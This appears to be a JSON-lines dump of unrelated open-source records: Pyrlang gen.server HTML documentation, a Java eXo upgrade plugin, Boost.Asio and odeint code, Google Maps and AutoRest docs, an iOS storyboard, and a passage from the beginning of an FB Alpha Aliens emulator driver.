charset=\"utf-8\" />\n <title>gen.server module &#8212; Pyrlang 1.0 documentation</title>\n <link rel=\"stylesheet\" href=\"../../_static/alabaster.css\" type=\"text/css\" />\n <link rel=\"stylesheet\" href=\"../../_static/pygments.css\" type=\"text/css\" />\n <script type=\"text/javascript\" id=\"documentation_options\" data-url_root=\"../../\" src=\"../../_static/documentation_options.js\"></script>\n <script type=\"text/javascript\" src=\"../../_static/jquery.js\"></script>\n <script type=\"text/javascript\" src=\"../../_static/underscore.js\"></script>\n <script type=\"text/javascript\" src=\"../../_static/doctools.js\"></script>\n <script type=\"text/javascript\" src=\"../../_static/language_data.js\"></script>\n <link rel=\"index\" title=\"Index\" href=\"../../genindex.html\" />\n <link rel=\"search\" title=\"Search\" href=\"../../search.html\" />\n <link rel=\"next\" title=\"net_kernel module\" href=\"../net_kernel.html\" />\n <link rel=\"prev\" title=\"gen module - Generic OTP-style calls\" href=\"index.html\" />\n \n <link rel=\"stylesheet\" href=\"../../_static/custom.css\" type=\"text/css\" />\n \n \n <meta name=\"viewport\" content=\"width=device-width, initial-scale=0.9, maximum-scale=0.9\" />\n\n </head><body>\n \n\n <div class=\"document\">\n <div class=\"documentwrapper\">\n <div class=\"bodywrapper\">\n \n\n <div class=\"body\" role=\"main\">\n \n <div class=\"section\" id=\"module-pyrlang.gen.server\">\n<span id=\"gen-server-module\"></span><h1>gen.server module<a class=\"headerlink\" href=\"#module-pyrlang.gen.server\" title=\"Permalink to this headline\">¶</a></h1>\n<p>Example of how to inherit from GenServer:</p>\n<div class=\"highlight-python notranslate\"><div class=\"highlight\"><pre><span></span><span class=\"k\">class</span> <span class=\"nc\">MyProcess</span><span class=\"p\">(</span><span class=\"n\">GenServer</span><span class=\"p\">):</span>\n <span class=\"k\">def</span> <span class=\"fm\">__init__</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">,</span> <span class=\"n\">node</span><span class=\"p\">)</span> <span class=\"o\">-&gt;</span> <span class=\"bp\">None</span><span class=\"p\">:</span>\n <span class=\"n\">GenServer</span><span class=\"o\">.</span><span class=\"fm\">__init__</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">,</span> <span class=\"n\">node</span><span class=\"p\">,</span> <span class=\"n\">accepted_calls</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"s1\">&#39;hello&#39;</span><span class=\"p\">])</span>\n\n <span class=\"k\">def</span> <span class=\"nf\">hello</span><span class=\"p\">(</span><span class=\"bp\">self</span><span class=\"p\">):</span>\n <span class=\"k\">return</span> <span class=\"bp\">self</span><span class=\"o\">.</span><span class=\"n\">pid_</span>\n</pre></div>\n</div>\n<dl class=\"class\">\n<dt id=\"pyrlang.gen.server.GSM\">\n<em class=\"property\">class </em><code class=\"sig-prename descclassname\">pyrlang.gen.server.</code><code class=\"sig-name descname\">GSM</code><span class=\"sig-paren\">(</span><em class=\"sig-param\">name</em>, <em class=\"sig-param\">bases</em>, <em class=\"sig-param\">nmspc</em><span class=\"sig-paren\">)</span><a class=\"headerlink\" href=\"#pyrlang.gen.server.GSM\" title=\"Permalink to this definition\">¶</a></dt>\n<dd><p>Bases: <code class=\"xref py py-class docutils literal notranslate\"><span class=\"pre\">type</span></code></p>\n<p>Meta class for GenServer</p>\n<p>Looks for functions that have been decorated and adds them to\nmatch functions</p>\n</dd></dl>\n\n<dl class=\"class\">\n<dt id=\"pyrlang.gen.server.GenServer\">\n<em class=\"property\">class </em><code class=\"sig-prename descclassname\">pyrlang.gen.server.</code><code class=\"sig-name descname\">GenServer</code><a class=\"headerlink\" href=\"#pyrlang.gen.server.GenServer\" title=\"Permalink to this definition\">¶</a></dt>\n<dd><p>Bases: <a class=\"reference internal\" href=\"../process.html#pyrlang.process.Process\" title=\"pyrlang.process.Process\"><code class=\"xref py py-class docutils literal notranslate\"><span class=\"pre\">pyrlang.process.Process</span></code></a></p>\n<dl class=\"method\">\n<dt id=\"pyrlang.gen.server.GenServer.process_loop\">\n<em class=\"property\">async </em><code class=\"sig-name descname\">process_loop</code><span class=\"sig-paren\">(</span><span class=\"sig-paren\">)</span><a class=\"headerlink\" href=\"#pyrlang.gen.server.GenServer.process_loop\" title=\"Permalink to this definition\">¶</a></dt>\n<dd><p>Polls inbox in an endless loop.\n.. note:</p>\n<div class=\"highlight-default notranslate\"><div class=\"highlight\"><pre><span></span>This will not be executed if the process was constructed with\n``passive=True`` (the default). Passive processes should read\ntheir inbox directly from ``self.inbox_``.\n</pre></div>\n</div>\n</dd></dl>\n\n<dl class=\"method\">\n<dt id=\"pyrlang.gen.server.GenServer.timeout\">\n<code class=\"sig-name descname\">timeout</code><span class=\"sig-paren\">(</span><em class=\"sig-param\">seconds=None</em><span class=\"sig-paren\">)</span><a class=\"headerlink\" href=\"#pyrlang.gen.server.GenServer.timeout\" title=\"Permalink to this definition\">¶</a></dt>\n<dd><p>set the gen_server timeout, will generate inbox <cite>Atom('timeout')</cite>\n:param seconds:\n:return:</p>\n</dd></dl>\n\n</dd></dl>\n\n<dl class=\"class\">\n<dt id=\"pyrlang.gen.server.GenServerInterface\">\n<em class=\"property\">class </em><code class=\"sig-prename descclassname\">pyrlang.gen.server.</code><code class=\"sig-name descname\">GenServerInterface</code><span class=\"sig-paren\">(</span><em class=\"sig-param\">calling_process: pyrlang.process.Process</em>, <em class=\"sig-param\">destination_pid</em><span class=\"sig-paren\">)</span><a class=\"headerlink\" href=\"#pyrlang.gen.server.GenServerInterface\" title=\"Permalink to this definition\">¶</a></dt>\n<dd><p>Bases: <code class=\"xref py py-class docutils literal notranslate\"><span class=\"pre\">object</span></code></p>\n<p>Class that implements an interface for gen_servers</p>\n<p>This class is intended to be used in <cite>Process</cite> instances where\ngen_server behaviour interaction is necessary.</p>\n<p>in a raw form this class is initiated with the calling process instance and\nthe pid of the destination process, then you can make calls and cast:</p>\n<blockquote>\n<div><p>gsi = GenServerInterface(some_process, remote_pid)\nawait gsi.call(call_request)\nawait gsi.cast(cast_request)\ngsi.cast_nowait(other_cast_request)</p>\n</div></blockquote>\n<p>If you want to create an interface you override this class and implement\nthe functions, hiding the gen_server methods, just like in erlang</p>\n<dl class=\"method\">\n<dt id=\"pyrlang.gen.server.GenServerInterface.call\">\n<em class=\"property\">async </em><code class=\"sig-name descname\">call</code><span class=\"sig-paren\">(</span><em class=\"sig-param\">request</em>, <em class=\"sig-param\">timeout=None</em><span class=\"sig-paren\">)</span><a class=\"headerlink\" href=\"#pyrlang.gen.server.GenServerInterface.call\" title=\"Permalink to this definition\">¶</a></dt>\n<dd></dd></dl>\n\n<dl class=\"method\">\n<dt id=\"pyrlang.gen.server.GenServerInterface.cast\">\n<em class=\"property\">async </em><code class=\"sig-name descname\">cast</code><span class=\"sig-paren\">(</span><em class=\"sig-param\">request</em><span class=\"sig-paren\">)</span><a class=\"headerlink\" href=\"#pyrlang.gen.server.GenServerInterface.cast\" title=\"Permalink to this definition\">¶</a></dt>\n<dd></dd></dl>\n\n<dl class=\"method\">\n<dt id=\"pyrlang.gen.server.GenServerInterface.cast_nowait\">\n<code class=\"sig-name descname\">cast_nowait</code><span class=\"sig-paren\">(</span><em class=\"sig-param\">request</em><span class=\"sig-paren\">)</span><a class=\"headerlink\" href=\"#pyrlang.gen.server.GenServerInterface.cast_nowait\" title=\"Permalink to this definition\">¶</a></dt>\n<dd></dd></dl>\n\n</dd></dl>\n\n</div>\n\n\n </div>\n \n </div>\n </div>\n <div class=\"sphinxsidebar\" role=\"navigation\" aria-label=\"main navigation\">\n <div class=\"sphinxsidebarwrapper\">\n<div style=\"margin-bottom:16px;\">\n <a class=\"toc-return\"\n href=\"index.html\" alt=\"Return to Start\"><strong>Return to Start</strong></a>\n</div>\n\n\n<h1 class=\"logo\"><a href=\"../../index.html\">Pyrlang</a></h1>\n\n\n\n\n\n\n\n\n<h3>Navigation</h3>\n<p class=\"caption\"><span class=\"caption-text\">Contents:</span></p>\n<ul>\n<li class=\"toctree-l1\"><a class=\"reference internal\" href=\"../../build-library.html\">Building the Library</a></li>\n<li class=\"toctree-l1\"><a class=\"reference internal\" href=\"../../examples.html\">Examples!</a></li>\n<li class=\"toctree-l1\"><a class=\"reference internal\" href=\"../../configuration.html\">Configuring Pyrlang in Runtime</a></li>\n<li class=\"toctree-l1\"><a class=\"reference internal\" href=\"../../cookbook.html\">Cookbook - How to Get Started</a></li>\n<li class=\"toctree-l1\"><a class=\"reference internal\" href=\"../../data_types.html\">Data Types in Pyrlang</a></li>\n<li class=\"toctree-l1\"><a class=\"reference internal\" href=\"../../calling_python.html\">Remote Calling Python from Erlang</a></li>\n</ul>\n<ul class=\"current\">\n<li class=\"toctree-l1 current\"><a class=\"reference internal\" href=\"../index.html\">Pyrlang modules</a><ul class=\"current\">\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"../dist_proto/index.html\">dist_proto module</a></li>\n<li class=\"toctree-l2 current\"><a class=\"reference internal\" href=\"index.html\">gen module - Generic OTP-style calls</a><ul class=\"current\">\n<li class=\"toctree-l3 current\"><a class=\"current reference internal\" href=\"#\">gen.server module</a></li>\n</ul>\n</li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"../net_kernel.html\">net_kernel module</a></li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"../node.html\">node module (begin code exploration from here!)</a></li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"../notebook.html\">pyrlang.notebook module</a></li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"../process.html\">process module</a></li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"../rex.html\">rex module - Remote Execution</a></li>\n<li class=\"toctree-l2\"><a class=\"reference internal\" href=\"../util.html\">util module</a></li>\n</ul>\n</li>\n</ul>\n\n<div class=\"relations\">\n<h3>Related Topics</h3>\n<ul>\n <li><a href=\"../../index.html\">Documentation overview</a><ul>\n <li><a href=\"../index.html\">Pyrlang modules</a><ul>\n <li><a href=\"index.html\">gen module - Generic OTP-style calls</a><ul>\n <li>Previous: <a href=\"index.html\" title=\"previous chapter\">gen module - Generic OTP-style calls</a></li>\n <li>Next: <a href=\"../net_kernel.html\" title=\"next chapter\">net_kernel module</a></li>\n </ul></li>\n </ul></li>\n </ul></li>\n</ul>\n</div>\n<div id=\"searchbox\" style=\"display: none\" role=\"search\">\n <h3 id=\"searchlabel\">Quick search</h3>\n <div class=\"searchformwrapper\">\n <form class=\"search\" action=\"../../search.html\" method=\"get\">\n <input type=\"text\" name=\"q\" aria-labelledby=\"searchlabel\" />\n <input type=\"submit\" value=\"Go\" />\n </form>\n </div>\n</div>\n<script type=\"text/javascript\">$('#searchbox').show(0);</script>\n\n\n\n\n\n\n\n\n </div>\n </div>\n <div class=\"clearer\"></div>\n </div>\n <div class=\"footer\">\n &copy;2017-2019, Erlang Solutions Ltd. S2HC Sweden AB.\n \n |\n Powered by <a href=\"http://sphinx-doc.org/\">Sphinx 2.2.0</a>\n &amp; <a href=\"https://github.com/bitprophet/alabaster\">Alabaster 0.7.12</a>\n \n |\n <a href=\"../../_sources/modules/gen/server.rst.txt\"\n rel=\"nofollow\">Page source</a>\n </div>\n\n \n\n \n </body>\n</html>"} {"text": "package org.exoplatform.platform.migration;\n\nimport org.exoplatform.commons.upgrade.UpgradeProductPlugin;\nimport org.exoplatform.container.xml.InitParams;\nimport org.exoplatform.services.log.ExoLogger;\nimport org.exoplatform.services.log.Log;\nimport org.exoplatform.services.organization.externalstore.IDMExternalStoreImportService;\nimport org.exoplatform.services.organization.externalstore.IDMExternalStoreService;\n\n/**\n * This Upgrade Plugin will execute the whole first additional information about\n * originating store (external or internal) of users and groups.\n */\npublic class ExternalStoreUpgradePlugin extends UpgradeProductPlugin {\n private static final Log LOG = ExoLogger.getLogger(ExternalStoreUpgradePlugin.class);\n\n private IDMExternalStoreImportService externalStoreImportService;\n\n private IDMExternalStoreService externalStoreService;\n\n public ExternalStoreUpgradePlugin(IDMExternalStoreImportService externalStoreImportService,\n IDMExternalStoreService externalStoreService,\n InitParams initParams) {\n super(initParams);\n this.externalStoreImportService = externalStoreImportService;\n this.externalStoreService = externalStoreService;\n }\n\n @Override\n public void processUpgrade(String oldVersion, String newVersion) {\n try {\n externalStoreImportService.importAllModifiedEntitiesToQueue();\n } catch (Exception e) {\n throw new RuntimeException(\"An error occurred while migrating IDM entities\", e);\n }\n }\n\n @Override\n public boolean isEnabled() {\n if (!externalStoreService.isEnabled()) {\n LOG.info(\"ExternalStoreService is disabled, no migration is required.\");\n return false;\n }\n return super.isEnabled();\n }\n}\n"} {"text": "<!doctype html>\n<title>Yeti Script in Comment Test</title>\n<!-- <script src=\"bogus.js\"></script> -->\n<script src=\"test.js\"></script>\n"} {"text": "//\n// detail/local_free_on_block_exit.hpp\n// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n//\n// Copyright (c) 2003-2012 Christopher M. Kohlhoff (chris at kohlhoff dot com)\n//\n// Distributed under the Boost Software License, Version 1.0. (See accompanying\n// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n\n#ifndef BOOST_ASIO_DETAIL_LOCAL_FREE_ON_BLOCK_EXIT_HPP\n#define BOOST_ASIO_DETAIL_LOCAL_FREE_ON_BLOCK_EXIT_HPP\n\n#if defined(_MSC_VER) && (_MSC_VER >= 1200)\n# pragma once\n#endif // defined(_MSC_VER) && (_MSC_VER >= 1200)\n\n#include <boost/asio/detail/config.hpp>\n\n#if defined(BOOST_WINDOWS) || defined(__CYGWIN__)\n\n#include <boost/asio/detail/noncopyable.hpp>\n#include <boost/asio/detail/socket_types.hpp>\n\n#include <boost/asio/detail/push_options.hpp>\n\nnamespace boost {\nnamespace asio {\nnamespace detail {\n\nclass local_free_on_block_exit\n : private noncopyable\n{\npublic:\n // Constructor blocks all signals for the calling thread.\n explicit local_free_on_block_exit(void* p)\n : p_(p)\n {\n }\n\n // Destructor restores the previous signal mask.\n ~local_free_on_block_exit()\n {\n ::LocalFree(p_);\n }\n\nprivate:\n void* p_;\n};\n\n} // namespace detail\n} // namespace asio\n} // namespace boost\n\n#include <boost/asio/detail/pop_options.hpp>\n\n#endif // defined(BOOST_WINDOWS) || defined(__CYGWIN__)\n\n#endif // BOOST_ASIO_DETAIL_LOCAL_FREE_ON_BLOCK_EXIT_HPP\n"} {"text": "# map.moveCamera()\n\nYou can change camera position **without** animation.\n\n```typescript\nmap.moveCamera(cameraPosition).then(() => {\n\n})\n```\n\n## Parameters\n\nname | type | description\n---------------|--------------------------------------------------|---------------------------------------\ncameraPosition | [cameraPosition](../../cameraPosition/README.md) | new camera position. **duration** property is ignored.\n\n## Return value\n\n:arrow_right: Returns `Promise<any>`\n\n----------------------------------------------------------------------------------------------------------\n\n## Demo code\n\n```html\n<div class=\"map\" id=\"map_canvas\">\n <button ion-button (click)=\"onButtonClick()\">\n Click here\n </button>\n</div>\n```\n\n```typescript\nmap: GoogleMap;\n\nloadMap() {\n this.map = GoogleMaps.create(\"map_canvas\");\n}\n\nonButtonClick() {\n this.map.moveCamera({\n target: {lat: 37.422359, lng: -122.084344},\n zoom: 17,\n tilt: 60,\n bearing: 140\n }).then(() => {\n alert(\"Camera target has been changed\");\n });\n}\n\n```\n\n![](image.gif)\n"} {"text": "using Chloe.DbExpressions;\n\nnamespace Chloe.MySql.MethodHandlers\n{\n class Count_Handler : IMethodHandler\n {\n public bool CanProcess(DbMethodCallExpression exp)\n {\n if (exp.Method.DeclaringType != PublicConstants.TypeOfSql)\n return false;\n\n return true;\n }\n public void Process(DbMethodCallExpression exp, SqlGenerator generator)\n {\n SqlGenerator.Aggregate_Count(generator);\n }\n }\n}\n"} {"text": "/*\n * Copyright 2009-2012 Karsten Ahnert\n * Copyright 2009-2012 Mario Mulansky\n *\n * Distributed under the Boost Software License, Version 1.0.\n * (See accompanying file LICENSE_1_0.txt or\n * copy at http://www.boost.org/LICENSE_1_0.txt)\n */\n\n\n#include <vector>\n\nusing namespace std;\n\nstruct rt_algebra\n{\n template< typename T , size_t dim >\n inline static void foreach( boost::array< T , dim > & x_tmp , \n const boost::array< T , dim > &x ,\n //const vector< double > &a ,\n const double* a ,\n const boost::array< T , dim > *k_vector , \n const double dt , const size_t s )\n {\n for( size_t i=0 ; i<dim ; ++i )\n {\n x_tmp[i] = x[i];\n for( size_t j = 0 ; j<s ; ++j )\n x_tmp[i] += a[j]*dt*k_vector[j][i];\n }\n }\n};\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<document type=\"com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB\" version=\"3.0\" toolsVersion=\"10116\" systemVersion=\"15E65\" targetRuntime=\"iOS.CocoaTouch\" propertyAccessControl=\"none\" useAutolayout=\"YES\" launchScreen=\"YES\" useTraitCollections=\"YES\" initialViewController=\"01J-lp-oVM\">\n <dependencies>\n <deployment identifier=\"iOS\"/>\n <plugIn identifier=\"com.apple.InterfaceBuilder.IBCocoaTouchPlugin\" version=\"10085\"/>\n </dependencies>\n <scenes>\n <!--View Controller-->\n <scene sceneID=\"EHf-IW-A2E\">\n <objects>\n <viewController id=\"01J-lp-oVM\" sceneMemberID=\"viewController\">\n <layoutGuides>\n <viewControllerLayoutGuide type=\"top\" id=\"Llm-lL-Icb\"/>\n <viewControllerLayoutGuide type=\"bottom\" id=\"xb3-aO-Qok\"/>\n </layoutGuides>\n <view key=\"view\" contentMode=\"scaleToFill\" id=\"Ze5-6b-2t3\">\n <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"600\" height=\"600\"/>\n <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n <color key=\"backgroundColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"calibratedWhite\"/>\n </view>\n </viewController>\n <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"iYj-Kq-Ea1\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n </objects>\n <point key=\"canvasLocation\" x=\"53\" y=\"375\"/>\n </scene>\n </scenes>\n</document>\n"} {"text": "# Scenario: Client generation\n\n> see https://aka.ms/autorest\n\n``` yaml \ninput-file: petstore.yaml\n\ncsharp:\n namespace: Petstore\n output-folder: Client\n enable-xml: true # enable experimental XML serialization support\n # azure-arm: true # uncomment this line to enable code generation in the Azure flavor\n```"} {"text": "// FB Alpha Aliens driver module\r\n// Based on MAME driver by Manuel Abadia\r\n\r\n#include \"tiles_generic.h\"\r\n#include \"z80_intf.h\"\r\n#include \"konami_intf.h\"\r\n#include \"konamiic.h\"\r\n#include \"burn_ym2151.h\"\r\n#include \"k007232.h\"\r\n\r\nstatic UINT8 *AllMem;\r\nstatic UINT8 *MemEnd;\r\nstatic UINT8 *AllRam;\r\nstatic UINT8 *RamEnd;\r\nstatic UINT8 *DrvKonROM;\r\nstatic UINT8 *DrvZ80ROM;\r\nstatic UINT8 *DrvGfxROM0;\r\nstatic UINT8 *DrvGfxROM1;\r\nstatic UINT8 *DrvGfxROMExp0;\r\nstatic UINT8 *DrvGfxROMExp1;\r\nstatic UINT8 *DrvSndROM;\r\nstatic UINT8 *DrvBankRAM;\r\nstatic UINT8 *DrvKonRAM;\r\nstatic UINT8 *DrvPalRAM;\r\nstatic UINT8 *DrvZ80RAM;\r\nstatic UINT32 *DrvPalette;\r\nstatic UINT8 DrvRecalc;\r\n\r\nstatic UINT8 *soundlatch;\r\nstatic UINT8 *nDrvRamBank;\r\nstatic UINT8 *nDrvKonamiBank;\r\n\r\nstatic UINT8 DrvJoy1[8];\r\nstatic UINT8 DrvJoy2[8];\r\nstatic UINT8 DrvJoy3[8];\r\nstatic UINT8 DrvDips[3];\r\nstatic UINT8 DrvInputs[2];\r\nstatic UINT8 DrvReset;\r\n\r\nstatic struct BurnInputInfo AliensInputList[] = {\r\n\t{\"P1 Coin\",\t\tBIT_DIGITAL,\tDrvJoy1 + 6,\t\"p1 coin\"\t},\r\n\t{\"P1 Start\",\t\tBIT_DIGITAL,\tDrvJoy1 + 7,\t\"p1 start\"\t},\r\n\t{\"P1 Up\",\t\tBIT_DIGITAL,\tDrvJoy1 + 2,\t\"p1 up\"\t\t},\r\n\t{\"P1 Down\",\t\tBIT_DIGITAL,\tDrvJoy1 + 3,\t\"p1 down\"\t},\r\n\t{\"P1 Left\",\t\tBIT_DIGITAL,\tDrvJoy1 + 0,\t\"p1 left\"\t},\r\n\t{\"P1 Right\",\t\tBIT_DIGITAL,\tDrvJoy1 + 1,\t\"p1 right\"\t},\r\n\t{\"P1 Button 1\",\t\tBIT_DIGITAL,\tDrvJoy1 + 4,\t\"p1 fire 1\"\t},\r\n\t{\"P1 Button 2\",\t\tBIT_DIGITAL,\tDrvJoy1 + 5,\t\"p1 fire 2\"\t},\r\n\r\n\t{\"P2 Coin\",\t\tBIT_DIGITAL,\tDrvJoy2 + 6,\t\"p2 coin\"\t},\r\n\t{\"P2 Start\",\t\tBIT_DIGITAL,\tDrvJoy2 + 7,\t\"p2 start\"\t},\r\n\t{\"P2 Up\",\t\tBIT_DIGITAL,\tDrvJoy2 + 2,\t\"p2 up\"\t\t},\r\n\t{\"P2 Down\",\t\tBIT_DIGITAL,\tDrvJoy2 + 3,\t\"p2 down\"\t},\r\n\t{\"P2 Left\",\t\tBIT_DIGITAL,\tDrvJoy2 + 0,\t\"p2 left\"\t},\r\n\t{\"P2 Right\",\t\tBIT_DIGITAL,\tDrvJoy2 + 1,\t\"p2 right\"\t},\r\n\t{\"P2 Button 1\",\t\tBIT_DIGITAL,\tDrvJoy2 + 4,\t\"p2 fire 1\"\t},\r\n\t{\"P2 Button 2\",\t\tBIT_DIGITAL,\tDrvJoy2 + 5,\t\"p2 fire 2\"\t},\r\n\r\n\t{\"Reset\",\t\tBIT_DIGITAL,\t&DrvReset,\t\"reset\"\t\t},\r\n\t{\"Service\",\t\tBIT_DIGITAL,\tDrvJoy3 + 4,\t\"service\"\t},\r\n\t{\"Dip A\",\t\tBIT_DIPSWITCH,\tDrvDips + 0,\t\"dip\"\t\t},\r\n\t{\"Dip B\",\t\tBIT_DIPSWITCH,\tDrvDips + 1,\t\"dip\"\t\t},\r\n\t{\"Dip C\",\t\tBIT_DIPSWITCH,\tDrvDips + 2,\t\"dip\"\t\t},\r\n};\r\n\r\nSTDINPUTINFO(Aliens)\r\n\r\nstatic struct BurnDIPInfo AliensDIPList[]=\r\n{\r\n\t{0x12, 0xff, 0xff, 0xff, NULL\t\t\t},\r\n\t{0x13, 0xff, 0xff, 0x5e, NULL\t\t\t},\r\n\t{0x14, 0xff, 0xff, 0xff, NULL\t\t\t},\r\n\r\n\t{0 , 0xfe, 0 , 16, \"Coin A\"\t\t},\r\n\t{0x12, 0x01, 0x0f, 0x02, \"4 Coins 1 Credit\"\t },\r\n\t{0x12, 0x01, 0x0f, 0x05, \"3 Coins 1 Credit\"\t },\r\n\t{0x12, 0x01, 0x0f, 0x08, \"2 Coins 1 Credit\"\t },\r\n\t{0x12, 0x01, 0x0f, 0x04, \"3 Coins 2 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x01, \"4 Coins 3 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x0f, \"1 Coin 1 Credit\"\t },\r\n\t{0x12, 0x01, 0x0f, 0x03, \"3 Coins 4 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x07, \"2 Coins 3 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x0e, \"1 Coin 2 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x06, \"2 Coins 5 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x0d, \"1 Coin 3 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x0c, \"1 Coin 4 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x0b, \"1 Coin 5 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x0a, \"1 Coin 6 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x09, \"1 Coin 7 Credits\"\t},\r\n\t{0x12, 0x01, 0x0f, 0x00, \"Free Play\"\t\t},\r\n\r\n\t{0 , 0xfe, 0 , 16, \"Coin B\"\t\t},\r\n\t{0x12, 0x01, 0xf0, 0x20, \"4 Coins 1 Credit\"\t },\r\n\t{0x12, 0x01, 0xf0, 0x50, \"3 Coins 1 Credit\"\t },\r\n\t{0x12, 0x01, 0xf0, 0x80, \"2 Coins 1 Credit\"\t },\r\n\t{0x12, 0x01, 0xf0, 0x40, \"3 Coins 2 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0x10, \"4 Coins 3 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0xf0, \"1 Coin 1 Credit\"\t },\r\n\t{0x12, 0x01, 0xf0, 0x30, \"3 Coins 4 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0x70, \"2 Coins 3 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0xe0, \"1 Coin 2 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0x60, \"2 Coins 5 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0xd0, \"1 Coin 3 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0xc0, \"1 Coin 4 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0xb0, \"1 Coin 5 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0xa0, \"1 Coin 6 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0x90, \"1 Coin 7 Credits\"\t},\r\n\t{0x12, 0x01, 0xf0, 0x00, \"No Credits\"\t\t},\r\n\r\n\t{0 , 0xfe, 0 , 4, \"Lives\"\t\t},\r\n\t{0x13, 0x01, 0x03, 0x03, \"1\"\t\t\t},\r\n\t{0x13, 0x01, 0x03, 0x02, \"2\"\t\t\t},\r\n\t{0x13, 0x01, 0x03, 0x01, \"3\"\t\t\t},\r\n\t{0x13, 0x01, 0x03, 0x00, \"5\"\t\t\t},\r\n\r\n\t{0 , 0xfe, 0 , 4, \"Difficulty\"\t\t},\r\n\t{0x13, 0x01, 0x60, 0x60, \"Easy\"\t\t\t},\r\n\t{0x13, 0x01, 0x60, 0x40, \"Normal\"\t\t},\r\n\t{0x13, 0x01, 0x60, 0x20, \"Hard\"\t\t\t},\r\n\t{0x13, 0x01, 0x60, 0x00, \"Very Hard\"\t\t},\r\n\r\n\t{0 , 0xfe, 0 , 2, \"Demo Sounds\"\t\t},\r\n\t{0x13, 0x01, 0x80, 0x80, \"Off\"\t\t\t},\r\n\t{0x13, 0x01, 0x80, 0x00, \"On\"\t\t\t},\r\n\r\n//\t{0 , 0xfe, 0 , 2, \"Flip Screen\"\t\t},\r\n//\t{0x14, 0x01, 0x01, 0x01, \"Off\"\t\t\t},\r\n//\t{0x14, 0x01, 0x01, 0x00, \"On\"\t\t\t},\r\n\r\n\t{0 , 0xfe, 0 , 2, \"Service Mode\"\t\t},\r\n\t{0x14, 0x01, 0x04, 0x04, \"Off\"\t\t\t},\r\n\t{0x14, 0x01, 0x04, 0x00, \"On\"\t\t\t},\r\n};\r\n\r\nSTDDIPINFO(Aliens)\r\n\r\nstatic void set_ram_bank(INT32 data)\r\n{\r\n\tnDrvRamBank[0] = data;\r\n\r\n\tif (data & 0x20) {\r\n\t\tkonamiMapMemory(DrvPalRAM, 0x0000, 0x03ff, MAP_RAM);\r\n\t} else {\r\n\t\tkonamiMapMemory(DrvBankRAM, 0x0000, 0x03ff, MAP_RAM);\r\n\t}\r\n}\r\n\r\nvoid aliens_main_write(UINT16 address, UINT8 data)\r\n{\r\n\tswitch (address)\r\n\t{\r\n\t\tcase 0x5f88:\r\n\t\t\tset_ram_bank(data & 0x20);\r\n\t\t\tK052109RMRDLine = data & 0x40;\r\n\t\treturn;\r\n\r\n\t\tcase 0x5f8c:\r\n\t\t\t*soundlatch = data;\r\n\t\t\tZetSetVector(0xff);\r\n\t\t\tZetSetIRQLine(0, CPU_IRQSTATUS_ACK);\r\n\t\treturn;\r\n\t}\r\n\r\n\tif ((address & 0xc000) == 0x4000) {\r\n\t\tK052109_051960_w(address & 0x3fff, data);\r\n\t\treturn;\r\n\t}\r\n}\r\n\r\nUINT8 aliens_main_read(UINT16 address)\r\n{\r\n\tswitch (address)\r\n\t{\r\n\t\tcase 0x5f80:\r\n\t\t\treturn DrvDips[2];\r\n\r\n\t\tcase 0x5f81:\r\n\t\t\treturn DrvInputs[0];\r\n\r\n\t\tcase 0x5f82:\r\n\t\t\treturn DrvInputs[1];\r\n\r\n\t\tcase 0x5f83:\r\n\t\t\treturn DrvDips[1];\r\n\r\n\t\tcase 0x5f84:\r\n\t\t\treturn DrvDips[0];\r\n\r\n\t\tcase 0x5f88:\r\n\t\t\t// watchdog reset\r\n\t\t\treturn 0;\r\n\t}\r\n\r\n\tif ((address & 0xc000) == 0x4000) {\r\n\t\treturn K052109_051960_r(address & 0x3fff);\r\n\t}\r\n\r\n\treturn 0;\r\n}\r\n\r\nvoid __fastcall aliens_sound_write(UINT16 address, UINT8 data)\r\n{\r\n\tif ((address & 0xfff0) == 0xe000) {\r\n\t\tK007232WriteReg(0, address & 0x0f, data);\r\n\t\treturn;\r\n\t}\r\n\r\n\tswitch (address)\r\n\t{\r\n\t\tcase 0xa000:\r\n\t\t\tBurnYM2151SelectRegister(data);\r\n\t\treturn;\r\n\r\n\t\tcase 0xa001:\r\n\t\t\tBurnYM2151WriteRegister(data);\r\n\t\treturn;\r\n\t}\r\n}\r\n\r\nUINT8 __fastcall aliens_sound_read(UINT16 address)\r\n{\r\n\tif ((address & 0xfff0) == 0xe000) 